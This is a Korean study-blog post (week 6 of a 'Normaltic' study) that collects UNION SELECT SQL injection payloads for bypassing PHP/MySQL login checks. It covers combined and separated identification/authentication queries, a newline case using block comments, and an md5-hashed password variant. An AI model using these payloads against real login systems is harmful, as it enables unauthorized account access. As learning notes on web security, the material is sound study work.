Union Select (case별)

황인환·2024년 5월 25일

union select case별 모음

식별인증 동시

평문

$sql="SELECT * FROM users WHERE id = '$uname' AND password = '$password'";
-> uinon select 대입
$sql="SELECT * FROM users WHERE id = '''union select 1,2,3,4,5 #' AND password = '$password'";

결론

가능

개행

  1. 한 줄 주석
    $sql="SELECT * FROM users WHERE id = '$uname' \n AND password = '$password'";
    -> uinon select 대입
    $sql="SELECT * FROM users WHERE id = '''union select 1,2,3,4,5 #' \n AND password = '$password'";

결론

불가능

why?

\n때문에

  • 1줄 주석
    $sql="SELECT * FROM users WHERE id = '$uname
    AND password = '$password'";
    되버려서 #,--등은 한줄 주석은 안먹힘

  • 2줄 주석
    /**/ 같은 2줄 주석은 먹힘
    -> uinon select 대입 -> ID 입력 마지막에 /* PW '*/# 입력
    $sql="SELECT * FROM users WHERE id = '''union select 1,2,3,4,5 /*' \n AND password = ''*/#";

결론

가능

식별인증분리

$sql="SELECT * FROM users WHERE id = '$uname'";
$result=mysqli_query($conn, $sql);
$row= mysqli_num_rows($result);
if($row === 1){
$row2=mysqli_fetch_assoc($result);
if($password === $row2['password']){
-중략-

-> uinon select 대입
$sql="SELECT * FROM users WHERE id = ''union select 1,2,3,4,5 #'; (idx id pw name email 순)

결론

가능

why?

$result=mysqli_query($conn, $sql);  
$row= mysqli_num_rows($result);
if($row === 1){

-> sql문 where id ='' 빈칸 반환 -> 무효
-> union select로 추가된 행 포함
-> 조작된 result 값 row 값 형성

if($row === 1){ <- 통과 why?
-> mysqli_num_rows($result)는 전체 결과 집합에서 행의 수를 반환
-> 주어진 쿼리에서 UNION SELECT를 통해 추가된 행이 포함되기 때문에, 12345 이 행이 결과에 포함됨
-> 결과적으로 $row는 1이 됩니다. 추가된 행 때문

where id='' <- mysqli_num_rows에 빈칸을 넣으면
-> id가 빈 문자열인 행이 없기 때문에, 쿼리는 빈 결과 집합을 반환
-> 결과 집합이 비어 있으므로, mysqli_num_rows(result)0을반환>따라서,id가빈문자열인행이존재하지않는경우mysqlinumrows(result)는 0을 반환 -> 따라서, id가 빈 문자열인 행이 존재하지 않는 경우 ```mysqli_num_rows(result)``` 함수는 0을 반환하게 됩니다.

$row2=mysqli_fetch_assoc($result);
if($password === $row2['password']){

-> 조작된 result값
->이미 union select로 행이 추가됨
-> password창에 추가한 행에있는 비밀번호 입력
ex)pw컬럼에 3 적고 pw입력할때 3적임
-> 통과
ex)
union으로 생성된 db에 입력값
원래 DB값 밑에 정보 추가로 붙임 임시

idxidpwnameemail<- 컬럼
DB<- 원래 DB에 있는 값
--------------------------------------
12345<- union으로 붙인값

다 안된다면

비밀번호가 암호일수도?

비밀번호가 알고리즘 -> md5이면 'union select 'normaltic3',md5(1)# ->이렇게 ID PW 칼럼 순서라 가정

  • 식별인증 동시 분리에 ()를 뺀이유는 그냥 ()만 문장에 맞게 추가하면 되기때문이다.

--Normaltic Study 6주차--

0개의 댓글